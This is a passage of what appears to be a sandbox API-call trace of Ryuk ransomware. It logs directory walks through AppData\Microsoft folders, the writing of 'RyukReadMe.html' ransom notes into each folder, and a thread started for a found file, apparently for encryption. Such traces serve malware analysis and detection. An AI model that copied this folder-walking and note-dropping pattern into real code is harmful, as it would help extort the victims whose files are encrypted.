	[0250.190] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0250.190] SetLastError (dwErrCode=0x0) 
	[0250.190] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0250.190] GetLastError () returned 0xb7
	[0250.190] CloseHandle (hObject=0x5ec) returned 1
	[0250.191] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0250.191] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.191] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0250.191] SetLastError (dwErrCode=0x0) 
	[0250.191] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0250.192] GetLastError () returned 0x0
	[0250.192] WriteFile (in: hFile=0x524, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0250.194] CloseHandle (hObject=0x524) returned 1
	[0250.195] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0250.195] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.195] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0250.195] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0250.195] SetLastError (dwErrCode=0x0) 
	[0250.195] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\credentials\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.195] GetLastError () returned 0x3
	[0250.195] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0250.196] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.196] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0250.196] SetLastError (dwErrCode=0x0) 
	[0250.196] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0250.196] GetLastError () returned 0xb7
	[0250.196] CloseHandle (hObject=0x524) returned 1
	[0250.196] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0250.739] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.739] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x32121370, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x32121370, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0250.739] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0250.739] SetLastError (dwErrCode=0x0) 
	[0250.739] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\event viewer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.739] GetLastError () returned 0x3
	[0250.739] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0250.739] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.739] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
	[0250.740] SetLastError (dwErrCode=0x0) 
	[0250.740] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x584
	[0250.740] GetLastError () returned 0xb7
	[0250.740] CloseHandle (hObject=0x584) returned 1
	[0250.740] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0250.782] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.783] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6e0227e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x200, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms", cAlternateFileName="FEEDSS~1.FEE")) returned 1
	[0250.783] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0250.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc
	[0250.793] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.794] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1
	[0250.794] SetLastError (dwErrCode=0x0) 
	[0250.794] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.794] GetLastError () returned 0x3
	[0250.794] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.794] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.794] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x20e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0250.794] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0250.794] SetLastError (dwErrCode=0x0) 
	[0250.795] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.795] GetLastError () returned 0x3
	[0250.795] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.795] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.795] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
	[0250.795] SetLastError (dwErrCode=0x0) 
	[0250.795] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.795] GetLastError () returned 0x3
	[0250.795] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.795] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.796] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x20e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0250.796] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0250.796] SetLastError (dwErrCode=0x0) 
	[0250.796] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.796] GetLastError () returned 0x3
	[0250.796] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.796] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.796] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0
	[0250.796] FindClose (in: hFindFile=0x3efb50 | out: hFindFile=0x3efb50) returned 1
	[0250.798] SetLastError (dwErrCode=0x0) 
	[0250.798] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.798] GetLastError () returned 0x3
	[0250.798] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0250.798] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.798] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1
	[0250.798] SetLastError (dwErrCode=0x0) 
	[0250.798] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x584
	[0250.799] GetLastError () returned 0xb7
	[0250.799] CloseHandle (hObject=0x584) returned 1
	[0250.800] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efb50
	[0250.809] FindNextFileW (in: hFindFile=0x3efb50, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x200, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
